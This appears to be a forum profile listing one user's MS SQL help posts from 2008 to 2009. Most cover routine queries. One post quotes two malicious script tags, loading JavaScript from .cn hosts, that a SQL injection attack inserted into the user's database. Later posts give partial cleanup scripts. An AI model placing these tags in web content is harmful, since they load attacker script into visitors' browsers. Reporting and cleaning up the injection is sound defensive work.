Forum: MS SQL Apr 30th, 2009 |
| Replies: 2 Views: 1,354 i DID find a stored procedure that worked but thanks, I keep this with my pile of scripts |
Forum: MS SQL Apr 27th, 2009 |
| Replies: 5 Views: 1,602 This worked
use Your database name
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND... |
Forum: MS SQL Apr 27th, 2009 |
| Replies: 5 Views: 1,602 I found this but the colum is in text
DECLARE @sql NVARCHAR(4000)
DECLARE @InsertedValue NVARCHAR(1000)
SET @InsertedValue = 'The Script tags which were inserted'
DECLARE cur CURSOR FOR
... |
Forum: MS SQL Apr 26th, 2009 |
| Replies: 5 Views: 1,602 I got a sql injection hack that put this after each description in my database. <script src="http://b.adserv.cn/E/J.JS"></script><script src="http://b.rtbn2.cn/E/J.JS"></script>
any idea how to... |
Forum: MS SQL Apr 4th, 2009 |
| Replies: 1 Views: 494 No idea what you are talking about can you describe in more detail |
Forum: MS SQL Mar 25th, 2009 |
| Replies: 1 Views: 930 I need to merge 2 notes fields in a sql database This select script gets me what I need how do I merge notes into Technote, I have a function to filter out the characters in the phone number that's... |
Forum: MS SQL Mar 15th, 2009 |
| Replies: 3 Views: 3,031 select * from address
WHERE DateTime
BETWEEN '2009-01-31 09:00:00' AND '2009-01-31 09:34:34' |
Forum: MS SQL Mar 11th, 2009 |
| Replies: 2 Views: 1,354 Can I reformat a phone number in SQL manager. I imported a foxpro dbf with the dts wizard and it imported the phone number as (609) 555-1212 I need it to be 6095551212 |
Forum: MS SQL Mar 10th, 2009 |
| Replies: 2 Views: 468 How would the insert statement look? That's what I would like to do insert the notes from temp to active |
Forum: MS SQL Mar 10th, 2009 |
| Replies: 2 Views: 468 Can I copy data from one database to another by a sql script? I have an active database we'll call dbo.active and a temp database we'll call dbo.temp both are a customer list and all the customers in... |
Forum: MS SQL Jan 1st, 2009 |
| Replies: 4 Views: 2,305 |
Forum: MS SQL Jan 1st, 2009 |
| Replies: 4 Views: 2,305 I want to display all the orders from last month so
SELECT *
from Get_estimates
where DateTimeStamp = [lastmonth] |
Forum: MS SQL Jan 1st, 2009 |
| Replies: 4 Views: 2,305 How would I select everything from last month in a sql statment my cell has a time stamp in it
SELECT DateTimeStamp
from Get_estimates
Ouput
[DateTimeStamp]
2008-02-28 11:39:35.247... |
Forum: MS SQL Dec 22nd, 2008 |
| Replies: 3 Views: 555 It does have a static ip but it is fire walled, I feel that is a big security hole If I open that up. |
Forum: MS SQL Dec 21st, 2008 |
| Replies: 3 Views: 555 I need to connect my hosted vps in a data center to my sql server so I can pull info out of a database for our website. I setup a vpn by the windows dialup vpn wizard. It works fine but when I logoff... |
Forum: MS SQL Dec 1st, 2008 |
| Replies: 5 Views: 813 I'm going to close this thread, I think it's a problem in the cold fusion code. Thanks for you help |
Forum: MS SQL Dec 1st, 2008 |
| Replies: 5 Views: 813 It's hard to diagnose without seeing the table structures. But basically I have 3 tables customer, service, and program customer has 1 line program has 1 line item and service has 1 line item.... |
Forum: MS SQL Dec 1st, 2008 |
| Replies: 5 Views: 813 I tried that and I get this
Column 'dbo.customer.balance' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
The only way I can... |
Forum: MS SQL Nov 30th, 2008 |
| Replies: 5 Views: 813 I'm trying to display data in cold fusion but when I add my history table I get duplicate listings. I've tried select distinct different joins. How do i join my history table and not get duplicate... |